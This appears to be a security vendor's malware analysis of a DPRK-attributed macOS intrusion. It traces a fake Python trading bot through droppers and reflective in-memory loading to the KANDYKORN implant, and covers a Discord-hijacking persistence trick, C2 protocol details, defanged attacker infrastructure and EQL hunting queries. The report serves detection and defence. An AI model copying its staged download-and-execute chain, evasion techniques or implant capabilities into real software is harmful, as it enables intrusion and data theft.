* This intrusion involved multiple complex stages that each employed deliberate defense evasion techniques
|
||||
* The intrusion set was observed on a macOS system where an adversary attempted to load binaries into memory, which is atypical of macOS intrusions
|
||||
|
||||
## Execution flow
|
||||

|
||||
|
||||
|
||||
Attackers impersonated blockchain engineering community members on a public Discord frequented by members of this community. The attacker social-engineered their initial victim, convincing them to download and decompress a ZIP archive containing malicious code. The victim believed they were installing an [arbitrage bot](https://wundertrading.com/en/crypto-arbitrage-bot), a software tool capable of profiting from cryptocurrency rate differences between platforms.
|
||||
|
||||
This execution kicked off the primary malware execution flow of the REF7001 intrusion, culminating in KANDYKORN:
|
||||
* Stage 0 (Initial Compromise) - `Watcher.py`
|
||||
* Stage 1 (Dropper) - `testSpeed.py` and `FinderTools`
|
||||
* Stage 2 (Payload) - `.sld` and `.log` - SUGARLOADER
|
||||
* Stage 3 (Loader)- Discord (fake) - HLOADER
|
||||
* Stage 4 (Payload) - KANDYKORN
|
||||
|
||||
## Stage 0 Initial compromise: Watcher.py
|
||||
|
||||
The initial breach was orchestrated via a camouflaged Python application designed and advertised as an arbitrage bot targeted at blockchain engineers. This application was distributed as a .zip file titled `Cross-Platform Bridges.zip`. Decompressing it reveals a `Main.py` script accompanied by a folder named `order_book_recorder`, housing 13 Python scripts.
|
||||
|
||||

|
||||
|
||||
|
||||
The victim manually ran the `Main.py` script via their PyCharm IDE Python interpreter.
|
||||
|
||||
Initially, the `Main.py` script appears benign. It imports the accompanying Python scripts as modules and seems to execute some mundane functions.
|
||||
|
||||
While analyzing the modules housed in the `order_book_recorder` folder, one file -- `Watcher.py` -- clearly stood out and we will see why.
|
||||
|
||||
`Main.py` acts as the initial trigger, importing `Watcher.py` as a module that indirectly executes the script. The Python interpreter runs every top-level statement in `Watcher.py` sequentially.
|
||||
|
||||
The script starts off by establishing local directory paths and subsequently attempts to generate a `_log` folder at the specified location. If the folder already exists, the script remains passive.
|
||||
|
||||

|
||||
|
||||
|
||||
The script pre-defines a `testSpeed.py` file path (destined for the just created `_log` folder) and assigns it to the `output` variable. The function `import_networklib` is then defined. Within it, a Google Drive URL is initialized.
|
||||
|
||||
Utilizing the Python `urllib` library, the script fetches content from this URL and stashes it in the `s_args` variable. In case of retrieval errors, it defaults to returning the operating system's name. Subsequently, the content from Google Drive (now in `s_args`) is written into the `testSpeed.py` file.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
The next function, `get_modules_base_version`, probes the Python version and invokes the `import_networklib` function if it detects version 3. This call sets the entire sequence in motion.
|
||||
|
||||

|
||||
|
||||
|
||||
`Watcher.py` imports `testSpeed.py` as a module, executing the contents of the script.
|
||||
|
||||

|
||||
|
||||
|
||||
Concluding its operation, the malicious script tidies up, deleting the `testSpeed.py` file immediately after its one-time execution.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
## Stage 1 droppers testSpeed.py and FinderTools
|
||||
|
||||
When executed, `testSpeed.py` establishes an outbound network connection and fetches another Python file from a Google Drive URL, named `FinderTools`. This new file is saved to the `/Users/Shared/` directory, with the method of retrieval mirroring the `Watcher.py` script.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
After download, `testSpeed.py` launches `FinderTools`, providing a URL (`tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC`) as an argument which initiates an outbound network connection.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
`FinderTools` is yet another dropper, downloading and executing a hidden second stage payload `.sld` also written to the `/Users/Shared/` directory.
|
||||
|
||||

|
||||
|
||||
|
||||
## Stage 2 payload .sld and .log: SUGARLOADER
|
||||
|
||||
Stage 2 involves the execution of an obfuscated binary we have named SUGARLOADER, which is utilized twice under two separate names (`.sld` and `.log`).
|
||||
|
||||
SUGARLOADER is first observed at `/Users/shared/.sld`. The second instance of SUGARLOADER, renamed to `.log`, is used in the persistence mechanism REF7001 implements with Discord.
|
||||
|
||||
### Obfuscation
|
||||
|
||||
SUGARLOADER is used for initial access on the machine, and initializing the environment for the final stage. This binary is obfuscated using a binary packer, limiting what can be seen with static analysis.
|
||||
|
||||
The start function of this binary consists of a jump (`JMP`) to an undefined address. This is common for binary packers.
|
||||
|
||||
```
|
||||
HEADER:00000001000042D6 start:
|
||||
HEADER:00000001000042D6 jmp 0x10000681E
|
||||
```
|
||||
|
||||
Executing the macOS file object tool `otool -l ./log` lists all the sections that will be loaded at runtime.
|
||||
|
||||
```
|
||||
Section
|
||||
sectname __mod_init_func
|
||||
segname lko2
|
||||
addr 0x00000001006983f0
|
||||
size 0x0000000000000008
|
||||
offset 4572144
|
||||
align 2^3 (8)
|
||||
reloff 0
|
||||
nreloc 0
|
||||
flags 0x00000009
|
||||
reserved1 0
|
||||
reserved2 0
|
||||
```
|
||||
|
||||
`__mod_init_func` contains initialization functions. The C++ compiler places static constructors here. This is the code used to unpack the binary in memory.
|
||||
|
||||
A successful method of reverse engineering such files is to place a breakpoint right after the execution of initialization functions and then take a snapshot of the process's virtual memory. When the breakpoint is hit, the code will already be decrypted in memory and can be analyzed using traditional methods.
|
||||
|
||||
Adversaries commonly use obfuscation techniques such as this to bypass traditional static signature-based antimalware capabilities. As of this publication, VirusTotal [shows 0 detections of this file](https://www.virustotal.com/gui/file/3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940), which suggests these defense evasions continue to be cost-effective.
|
||||
|
||||

|
||||
|
||||
|
||||
### Execution
|
||||
|
||||
The primary purpose of SUGARLOADER is to connect to a Command and Control server (C2), in order to download a final stage payload we refer to as KANDYKORN, and execute it directly in memory.
|
||||
|
||||
SUGARLOADER checks for the existence of a configuration file at `/Library/Caches/com.apple.safari.ck`. If the configuration file is missing, it will be downloaded and created via a default C2 address provided as a command line argument to the `.sld` binary. In our sample, the C2 address was `23.254.226[.]90` over TCP port `443`. We provide additional information about the C2 in the Network Infrastructure section below.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
The configuration file is encrypted using RC4 and the encryption key (in the Observations section) is hardcoded within SUGARLOADER itself. The `com.apple.safari.ck` file is utilized by both SUGARLOADER and KANDYKORN for establishing secure network communications.
|
||||
```
|
||||
struct MalwareConfig
|
||||
{
|
||||
char computerId[8];
|
||||
_BYTE gap0[12];
|
||||
Url c2_urls[2];
|
||||
Hostname c2_ip_address[2];
|
||||
_BYTE proxy[200];
|
||||
int sleepInterval;
|
||||
};
|
||||
```
|
||||
|
||||
`computerId` is a randomly generated string identifying the victim’s computer.
|
||||
|
||||
A C2 server can either be identified with a fully qualified URL (`c2_urls`) or with an IP address and port (`c2_ip_ddress`). It supports two C2 servers, one as the main server, and the second one as a fallback. The specification or hardcoding of multiple servers like this is commonly used by malicious actors to ensure their connection with the victim is persistent should the original C2 be taken down or blocked. `sleepInterval` is the default sleeping interval for the malware between separate actions.
|
||||
|
||||
Once the configuration file is read into memory and decrypted, the next step is to initialize a connection to the remote server. All the communication between the victim’s computer and the C2 server is detailed in the Network Protocol section.
|
||||
|
||||
The last step taken by SUGARLOADER is to download a final stage payload from the C2 server and execute it. REF7001 takes advantage of a technique known as [reflective binary loading](https://attack.mitre.org/techniques/T1620/) (allocation followed by the execution of payloads directly within the memory of the process) to execute the final stage, leveraging APIs such as `NSCreateObjectFileImageFromMemory` or `NSLinkModule`. Reflective loading is a powerful technique. If you'd like to learn more about how it works, check out this research by [slyd0g](https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f) and [hackd](https://hackd.net/posts/macos-reflective-code-loading-analysis/).
|
||||
|
||||
This technique can be utilized to execute a payload from an in-memory buffer. Fileless execution such as this [has been observed previously](https://objective-see.org/blog/blog_0x51.html) in attacks conducted by the Lazarus Group.
|
||||
|
||||
SUGARLOADER reflectively loads a binary (KANDYKORN) and then creates a new file initially named `appname` which we refer to as `HLOADER` which we took directly from the process code signature’s signing identifier.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
## Stage 3 loader Discord: HLOADER
|
||||
|
||||
HLOADER (`2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1`) is a payload that attempts to masquerade as the legitimate Discord application. As of this writing, [it has 0 detections on VirusTotal](https://www.virustotal.com/gui/file/2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1).
|
||||
|
||||

|
||||
|
||||
|
||||
HLOADER was identified through the use of a macOS binary code-signing technique that has been [previously linked](https://objective-see.org/blog/blog_0x73.html) to the [DPRK’s Lazarus Group 3CX intrusion](https://www.eset.com/int/about/newsroom/press-releases/research/eset-research-discovers-new-lazarus-dreamjob-campaign-and-links-it-to-phone-provider-3cx-supply-chai/). In addition to other published research, Elastic Security Labs has also used the presence of this technique as an indicator of DPRK campaigns, as seen in our June 2023 research publication on [JOKERSPY](https://www.elastic.co/security-labs/inital-research-of-jokerspy#the-xcc-binary).
|
||||
|
||||
### Persistence
|
||||
|
||||
We observed the threat actor adopting a technique we have not previously seen them use to achieve persistence on macOS, known as [execution flow hijacking](https://attack.mitre.org/techniques/T1574/). The target of this attack was the widely used application Discord. The Discord application is often configured by users as a login item and launched when the system boots, making it an attractive target for takeover. HLOADER is a self-signed binary written in Swift. The purpose of this loader is to execute both the legitimate Discord bundle and `.log` payload, the latter of which is used to execute Mach-O binary files from memory without writing them to disk.
|
||||
|
||||
The legitimate binary `/Applications/Discord.app/Contents/MacOS/Discord` was renamed to `.lock`, and replaced by `HLOADER`.
|
||||
|
||||

|
||||
|
||||
|
||||
Below is the code signature information for `HLOADER`, which has a self-signed identifier structure consistent with other Lazarus Group samples.
|
||||
```
|
||||
Executable=Applications/Discord.app/Contents/MacOS/Discord
|
||||
Identifier=HLOADER-5555494485b460f1e2343dffaef9b94d01136320
|
||||
Format=bundle with Mach-O universal (x86_64 arm64)
|
||||
CodeDirectory flags=0x2(adhoc) hashes=12+7 location=embedded
|
||||
```
|
||||
|
||||
When executed, `HLOADER` performs the following operations:
|
||||
* Renames itself from `Discord` to `MacOS.tmp`
|
||||
* Renames the legitimate Discord binary from `.lock` to `Discord`
|
||||
* Executes both Discord and `.log` using `NSTask.launchAndReturnError`
|
||||
* Renames both files back to their initial names
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
The following process tree also visually depicts how persistence is obtained. The root node `Discord` is actually HLOADER disguised as the legitimate app. As presented above, it first runs .lock, which is in fact Discord, and, alongside, spawns SUGARLOADER as a process named .log.
|
||||
|
||||

|
||||
|
||||
|
||||
As seen in stage 2, SUGARLOADER reads the configuration file, connects to the C2 server, and waits for a payload to be received. Another alert is generated when the new payload (KANDYKORN) is loaded into memory.
|
||||
|
||||

|
||||
|
||||
|
||||
## Stage 4 Payload: KANDYKORN
|
||||
|
||||
KANDYKORN is the final stage of this execution chain and possesses a full-featured set of capabilities to access and exfiltrate data from the victim’s computer. Elastic Security Labs was able to retrieve this payload from one C2 server which hadn’t been deactivated yet.
|
||||
|
||||
### Execution
|
||||
|
||||
KANDYCORN processes are forked and run in the background as daemons before loading their configuration file from `/Library/Caches/com.apple.safari.ck`. The configuration file is read into memory then decrypted using the same RC4 key, and parsed for C2 settings. The communication protocol is similar to prior stages using the victim ID value for authentication.
|
||||
|
||||
### Command and control
|
||||
|
||||
Once communication is established, KANDYKORN awaits commands from the server. This is an interesting characteristic in that the malware waits for commands instead of polling for commands. This would reduce the number of endpoint and network artifacts generated and provide a way to limit potential discovery.
|
||||
|
||||
Each command is represented by an integer being transmitted, followed by the data that is specific to each action. Below is a list of the available commands KANDYKORN provides.
|
||||
|
||||
#### Command 0xD1
|
||||
|
||||
Action: Exit command where the program gracefully exists.
|
||||
|
||||
#### Command 0xD2
|
||||
|
||||
Name: `resp_basicinfo`
|
||||
Action: Gathers information about the system such as hostname, uid, osinfo, and image path of the current process, and reports back to the server.
|
||||
|
||||

|
||||
|
||||
|
||||
#### Command 0xD3
|
||||
|
||||
Name: `resp_file_dir`
|
||||
Action: Lists content of a directory and format the output similar to `ls -al`, including type, name, permissions, size, acl, path, and access time.
|
||||
|
||||

|
||||
|
||||
|
||||
#### Command 0xD4
|
||||
|
||||
Name: `resp_file_prop`
|
||||
|
||||
Action: Recursively read a directory and count the number of files, number of subdirectories, and total size.
|
||||
|
||||

|
||||
|
||||
|
||||
#### Command 0xD5
|
||||
|
||||
Name: `resp_file_upload`
|
||||
|
||||
Action: Used by the adversary to upload a file from their C2 server to the victim’s computer. This command specifies a path, creates it, and then proceeds to download the file content and write it to the victim’s computer.
|
||||
|
||||
#### Command 0xD6
|
||||
|
||||
Name: `resp_file_down`
|
||||
|
||||
Action: Used by the adversary to transfer a file from the victim’s computer to their infrastructure.
|
||||
|
||||
#### Command 0xD7
|
||||
|
||||
Name: `resp_file_zipdown`
|
||||
|
||||
Action: Archive a directory and exfiltrate it to the C2 server. The newly created archive’s name has the following pattern`/tmp/tempXXXXXXX`.
|
||||
|
||||

|
||||
|
||||
|
||||
#### Command 0xD8
|
||||
|
||||
Name: `resp_file_wipe`
|
||||
Action: Overwrites file content to zero and deletes the file. This is a common technique used to impede recovering the file through digital forensics on the filesystem.
|
||||
|
||||

|
||||
|
||||
|
||||
#### Command 0xD9
|
||||
|
||||
Name: `resp_proc_list`
|
||||
|
||||
Action: Lists all running processes on the system along with their PID, UID and other information.
|
||||
|
||||
#### Command 0xDA
|
||||
|
||||
Name: `resp_proc_kill`
|
||||
|
||||
Action: Kills a process by specified PID.
|
||||
|
||||

|
||||
|
||||
|
||||
#### Command 0xDB
|
||||
|
||||
Name: `resp_cmd_send`
|
||||
|
||||
Action: Executes a command on the system by using a pseudoterminal.
|
||||
|
||||
#### Command 0xDC
|
||||
|
||||
Name: `resp_cmd_recv`
|
||||
|
||||
Action: Reads the command output from the previous command `resp_cmd_send`.
|
||||
|
||||
#### Command 0xDD
|
||||
|
||||
Name: `resp_cmd_create`
|
||||
|
||||
Action: Spawns a shell on the system and communicates with it via a pseudoterminal. Once the shell process is executed, commands are read and written through the `/dev/pts` device.
|
||||
|
||||

|
||||
|
||||
|
||||
#### Command 0xDE
|
||||
|
||||
Name: `resp_cfg_get`
|
||||
|
||||
Action: Sends the current configuration to the C2 from `/Library/Caches/com.apple.safari.ck`.
|
||||
|
||||
#### Command 0xDF
|
||||
|
||||
Name: `resp_cfg_set`
|
||||
|
||||
Action: Download a new configuration file to the victim’s machine. This is used by the adversary to update the C2 hostname that should be used to retrieve commands from.
|
||||
|
||||
#### Command 0xE0
|
||||
|
||||
Name: `resp_sleep`
|
||||
|
||||
Action: Sleeps for a number of seconds.
|
||||
|
||||
### Summary
|
||||
|
||||
KANDYKORN is an advanced implant with a variety of capabilities to monitor, interact with, and avoid detection. It utilizes reflective loading, a direct-memory form of execution that may bypass detections.
|
||||
|
||||
## Network protocol
|
||||
|
||||
All the executables that communicate with the C2 (both stage 3 and stage 4) are using the same protocol. All the data is encrypted with RC4 and uses the same key previously referenced in the configuration file.
|
||||
|
||||
Both samples implement wrappers around the send-and-receive system calls. It can be observed in the following pseudocode that during the send routine, the buffer is first encrypted and then sent to the socket, whereas when data is received it is first decrypted and then processed.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
When the malware first connects to the C2 during the initialization phase, there is a handshake that needs to be validated in order to proceed. Should the handshake fail, the attack would stop and no other commands would be processed.
|
||||
|
||||
On the client side, a random number is generated and sent to the C2, which replies with a nonce variable. The client then computes a challenge with the random number and the received nonce and sends the result back to the server. If the challenge is successful and the server accepts the connection, it replies with a constant such as `0x41C3372` which appears in the analyzed sample.
|
||||
|
||||

|
||||
|
||||
|
||||
Once the connection is established, the client sends its ID and awaits commands from the server. Any subsequent data sent or received from here is serialized following a common schema used to serialize binary objects. First, the length of the content is sent, then the payload, followed by a return code which indicates if any error occurred.
|
||||
|
||||

|
||||
|
||||
|
||||
## Network infrastructure
|
||||
|
||||
During REF7001, the adversary was observed communicating with network infrastructure to collect various payloads and loaders for different stages of the intrusion.
|
||||
|
||||
As detailed in the Stage 1 section above, the link to the initial malware archive, `Cross-Platform Bridges.zip`, was provided in a direct message on a popular blockchain Discord server. This archive was hosted on a Google Drive (`https://drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2`), but this was removed shortly after the archive was downloaded.
|
||||
|
||||
Throughout the analysis of the REF7001 intrusion, there were two C2 servers observed.
|
||||
* `tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC`
|
||||
* `23.254.226[.]90`
|
||||
|
||||
### tp-globa[.]xyz
|
||||
|
||||
The C2 domain `tp-globa[.]xyz` is used by `FinderTools` to download SUGARLOADER and is likely an attempt at [typosquatting](https://en.wikipedia.org/wiki/Typosquatting) a legitimate foreign exchange market broker. We do not have any information to indicate that the legitimate company is involved in this intrusion. This typosquatted domain was likely chosen in an attempt to appear more legitimate to the victims of the intrusion.
|
||||
|
||||
`tp-globa[.]xyz`, as of this writing, resolves to an IP address (`192.119.64[.]43`) that has been observed distributing malware attributed to the DPRK’s Lazarus Group ([1](https://twitter.com/TLP_R3D/status/1677617586349981696), [2](https://twitter.com/_reboot_xxxx/status/1679054436289880065), [3](https://twitter.com/KSeznec/status/1678319191110082560)).
|
||||
|
||||
### 23.254.226[.]90
|
||||
|
||||
23.254.226[.]90 is the C2 IP used for the `.sld` file (SUGARLOADER malware). How this IP is used for C2 is highlighted in the stage 2 section above.
|
||||
|
||||
On October 14, 2023, `23.254.226[.]90` was used to register the subdomain, `pesnam.publicvm[.]com`. While we did not observe this domain in our intrusion, it is [documented](https://www.virustotal.com/gui/domain/publicvm.com/detection) as hosting other malicious software.
|
||||
|
||||
## Campaign intersections
|
||||
|
||||
`tp-globa[.]xyz`, has a TLS certificate with a Subject CN of `bitscrunnch.linkpc[.]net`. The domain `bitscrunnch.linkpc[.]net` has been [attributed](https://twitter.com/tiresearch1/status/1708141542261809360?s=20) to other Lazarus Group intrusions.
|
||||
|
||||
As noted above, this is likely an attempt to typosquat a legitimate domain for a decentralized NFT data platform. We do not have any information to indicate that the legitimate company is involved in this intrusion.
|
||||
```
|
||||
…
|
||||
Issuer: C = US, O = Let's Encrypt, CN = R3
|
||||
Validity
|
||||
Not Before: Sep 20 12:55:37 2023 GMT
|
||||
Not After : Dec 19 12:55:36 2023 GMT
|
||||
Subject: CN = bitscrunnch[.]linkpc[.]net
|
||||
…
|
||||
```
|
||||
|
||||
The `bitscrunnch.linkpc[.]net`’s TLS certificate is also used for [other additional domains](https://www.virustotal.com/gui/search/entity%253Adomain%2520ssl_subject%253Abitscrunnch.linkpc.net/domains), all of which are registered to the same IP address reported above in the `tp-globa[.]xyz` section above, `192.119.64[.]43`.
|
||||
* `jobintro.linkpc[.]net`
|
||||
* `jobdescription.linkpc[.]net`
|
||||
* `docsenddata.linkpc[.]net`
|
||||
* `docsendinfo.linkpc[.]net`
|
||||
* `datasend.linkpc[.]net`
|
||||
* `exodus.linkpc[.]net`
|
||||
* `bitscrunnch.run[.]place`
|
||||
* `coupang-networks[.]pics`
|
||||
|
||||
While LinkPC is a legitimate second-level domain and dynamic DNS service provider, it is [well-documented](https://www.virustotal.com/gui/domain/linkpc.net/community) that this specific service is used by threat actors for C2. In our [published research into RUSTBUCKET](https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket), which is also attributed to the DPRK, we observed LinkPC being used for C2.
|
||||
|
||||
All registered domains, 48 as of this writing, for `192.119.64[.]43` are included in the observables bundle.
|
||||
|
||||
Finally, in late July 2023, there were reports on the Subreddits [r/hacking](https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/), [r/Malware](https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/), and [r/pihole](https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/) with URLs that matched the structure of `tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC`. The user on Reddit reported that a recruiter contacted them to solve a Python coding challenge as part of a job offer. The code challenge was to analyze Python code purported to be for an internet speed test. This aligns with the REF7001 victim’s reporting on being offered a Python coding challenge and the script name `testSpeed.py` detailed earlier in this research.
|
||||
|
||||
The domain reported on Reddit was `group.pro-tokyo[.]top//OcRLY4xsFlN/vMZrXIWONw/6OyCZl89HS/fP7savDX6c/bfC` which follows the same structure as the REF7001 URL (`tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC`):
|
||||
|
||||
* Two `//`’s after the TLD
|
||||
* 5 subdirectories using an `//11-characters/10-characters/10-characters/` structure
|
||||
* The last 2 subdirectories were `/fP7savDX6c/bfC`
|
||||
|
||||
While we did not observe GitHub in our intrusion, the Redditors who reported this did observe GitHub profiles being used. They have all been deactivated.
|
||||
|
||||
Those accounts were:
|
||||
* `https://github[.]com/Prtof`
|
||||
* `https://github[.]com/wokurks`
|
||||
|
||||
## Summary
|
||||
|
||||
The DPRK, via units like the LAZARUS GROUP, continues to target crypto-industry businesses with the goal of stealing cryptocurrency in order to circumvent international sanctions that hinder the growth of their economy and ambitions. In this intrusion, they targeted blockchain engineers active on a public chat server with a lure designed to speak to their skills and interests, with the underlying promise of financial gain.
|
||||
|
||||
The infection required interactivity from the victim that would still be expected had the lure been legitimate. Once executed, via a Python interpreter, the REF7001 execution flow went through 5 stages:
|
||||
* Stage 0 (staging) - `Main.py` executes `Watcher.py` as an imported module. This script checks the Python version, prepares the local system directories, then downloads, executes, and cleans up the next stage.
|
||||
* Stage 1 (generic droppers) - `testSpeed.py` and `FinderTools` are intermediate dropper Python scripts that download and execute SUGARLOADER.
|
||||
* Stage 2 (SUGARLOADER) - `.sld` and `.log` are Mach-O executable payloads that establish C2, write the configuration file and reflectively load KANDYKORN.
|
||||
* Stage 3 (HLOADER) - `HLOADER`/`Discord`(fake) is a simple loader used as a persistence mechanism masquerading as the legitimate Discord app for the loading of SUGARLOADER.
|
||||
* Stage 4 (KANDYKORN) - The final reflectively loaded payload. KANDYKORN is a full-featured memory resident RAT with built-in capabilities to:
|
||||
* Conduct encrypted command and control
|
||||
* Conduct system enumeration
|
||||
* Upload and execute additional payloads
|
||||
* Compress and exfil data
|
||||
* Kill processes
|
||||
* Run arbitrary system commands through an interactive pseudoterminal
|
||||
|
||||
Elastic traced this campaign to April 2023 through the RC4 key used to encrypt the SUGARLOADER and KANDYKORN C2. This threat is still active and the tools and techniques are being continuously developed.
|
||||
|
||||
## The Diamond Model
|
||||
|
||||
Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for an, although cluttered, single diamond.
|
||||
|
||||

|
||||
|
||||
|
||||
## [Malware] and MITRE ATT&CK
|
||||
|
||||
Elastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.
|
||||
|
||||
#### Tactics
|
||||
|
||||
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
* [Execution](https://attack.mitre.org/tactics/TA0002)
|
||||
* [Persistence](https://attack.mitre.org/tactics/TA0003)
|
||||
* [Defense Evasion](https://attack.mitre.org/tactics/TA0005)
|
||||
* [Discovery](https://attack.mitre.org/tactics/TA0007)
|
||||
* [Collection](https://attack.mitre.org/tactics/TA0009)
|
||||
* [Command and Control](https://attack.mitre.org/tactics/TA0011)
|
||||
* [Exfiltration](https://attack.mitre.org/tactics/TA0010)
|
||||
|
||||
#### Techniques
|
||||
|
||||
Techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
* [User Execution: Malicious File](https://attack.mitre.org/techniques/T1204/002/)
|
||||
* [Command and Scripting Interpreter: Python](https://attack.mitre.org/techniques/T1059/006/)
|
||||
* [Command and Scripting Interpreter: Unix Shell](https://attack.mitre.org/techniques/T1059/004/)
|
||||
* [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/)
|
||||
* [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140/)
|
||||
* [Hide Artifacts: Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001/)
|
||||
* [Indicator Removal: File Deletion](https://attack.mitre.org/techniques/T1070/004/)
|
||||
* [Masquerading: Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||
* [Obfuscated Files or Information: Software Packing](https://attack.mitre.org/techniques/T1027/002/)
|
||||
* [Reflective Code Loading](https://attack.mitre.org/techniques/T1620/)
|
||||
* [File and Directory Discovery](https://attack.mitre.org/techniques/T1083/)
|
||||
* [Process Discovery](https://attack.mitre.org/techniques/T1057/)
|
||||
* [System Information Discovery](https://attack.mitre.org/techniques/T1082/)
|
||||
* [Archive Collected Data: Archive via Custom Method](https://attack.mitre.org/techniques/T1560/003/)
|
||||
* [Local Data Staging](https://attack.mitre.org/techniques/T1074/001/)
|
||||
* [Application Layer Protocol: Web Protocols](https://attack.mitre.org/techniques/T1071/001/)
|
||||
* [Fallback Channels](https://attack.mitre.org/techniques/T1008/)
|
||||
* [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)
|
||||
* [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/)
|
||||
|
||||
## Malware prevention capabilities
|
||||
* [MacOS.Trojan.SUGARLOADER](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar)
|
||||
* [MacOS.Trojan.HLOADER](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar)
|
||||
* [MacOS.Trojan.KANDYKORN](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar)
|
||||
|
||||
## Malware detection capabilities
|
||||
|
||||
### Hunting queries
|
||||
|
||||
The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.
|
||||
|
||||
#### EQL queries
|
||||
|
||||
Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.
|
||||
|
||||
The following EQL query can be used to identify when a hidden executable creates and then immediately deletes a file within a temporary directory:
|
||||
|
||||
```
|
||||
sequence by process.entity_id, file.path with maxspan=30s
|
||||
[file where event.action == "modification" and process.name : ".*" and
|
||||
file.path : ("/private/tmp/*", "/tmp/*", "/var/tmp/*")]
|
||||
[file where event.action == "deletion" and process.name : ".*" and
|
||||
file.path : ("/private/tmp/*", "/tmp/*", "/var/tmp/*")]
|
||||
```
|
||||
|
||||
The following EQL query can be used to identify when a hidden file makes an outbound network connection followed by the immediate download of an executable file:
|
||||
|
||||
```
|
||||
sequence by process.entity_id with maxspan=30s
|
||||
[network where event.type == "start" and process.name : ".*"]
|
||||
[file where event.action != "deletion" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")]
|
||||
```
|
||||
|
||||
The following EQL query can be used to identify when a macOS application binary gets renamed to a hidden file name within the same directory:
|
||||
|
||||
```
|
||||
file where event.action == "rename" and file.name : ".*" and
|
||||
file.path : "/Applications/*/Contents/MacOS/*" and
|
||||
file.Ext.original.path : "/Applications/*/Contents/MacOS/*" and
|
||||
not startswith~(file.Ext.original.path,Effective_process.executable)
|
||||
```
|
||||
|
||||
The following EQL query can be used to identify when an IP address is supplied as an argument to a hidden executable:
|
||||
|
||||
```
|
||||
sequence by process.entity_id with maxspan=30s
|
||||
[process where event.type == "start" and event.action == "exec" and process.name : ".*" and process.args regex~ "[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}"]
|
||||
[network where event.type == "start"]
|
||||
```
|
||||
|
||||
The following EQL query can be used to identify the rename or modification of a hidden executable file within the /Users/Shared directory or the execution of a hidden unsigned or untrusted process in the /Users/Shared directory:
|
||||
|
||||
```
|
||||
any where
|
||||
(
|
||||
(event.category : "file" and event.action != "deletion" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*") and
|
||||
file.path : "/Users/Shared/*" and file.name : ".*" ) or
|
||||
(event.category : "process" and event.action == "exec" and process.executable : "/Users/Shared/*" and
|
||||
(process.code_signature.trusted == false or process.code_signature.exists == false) and process.name : ".*")
|
||||
)
|
||||
```
|
||||
|
||||
The following EQL query can be used to identify when a URL is supplied as an argument to a python script via the command line:
|
||||
|
||||
```
|
||||
sequence by process.entity_id with maxspan=30s
|
||||
[process where event.type == "start" and event.action == "exec" and
|
||||
process.args : "python*" and process.args : ("/Users/*", "/tmp/*", "/var/tmp/*", "/private/tmp/*") and process.args : "http*" and
|
||||
process.args_count <= 3 and
|
||||
not process.name : ("curl", "wget")]
|
||||
[network where event.type == "start"]
|
||||
```
|
||||
|
||||
The following EQL query can be used to identify the attempt of in memory Mach-O loading specifically by looking for the predictable temporary file creation of "NSCreateObjectFileImageFromMemory-*":
|
||||
|
||||
```
|
||||
file where event.type != "deletion" and
|
||||
file.name : "NSCreateObjectFileImageFromMemory-*"
|
||||
```
|
||||
|
||||
The following EQL query can be used to identify the attempt of in memory Mach-O loading by looking for the load of the "NSCreateObjectFileImageFromMemory-*" file or a load with no dylib name provided:
|
||||
|
||||
```
|
||||
any where ((event.action == "load" and not dll.path : "?*") or
|
||||
(event.action == "load" and dll.name : "NSCreateObjectFileImageFromMemory*"))
|
||||
```
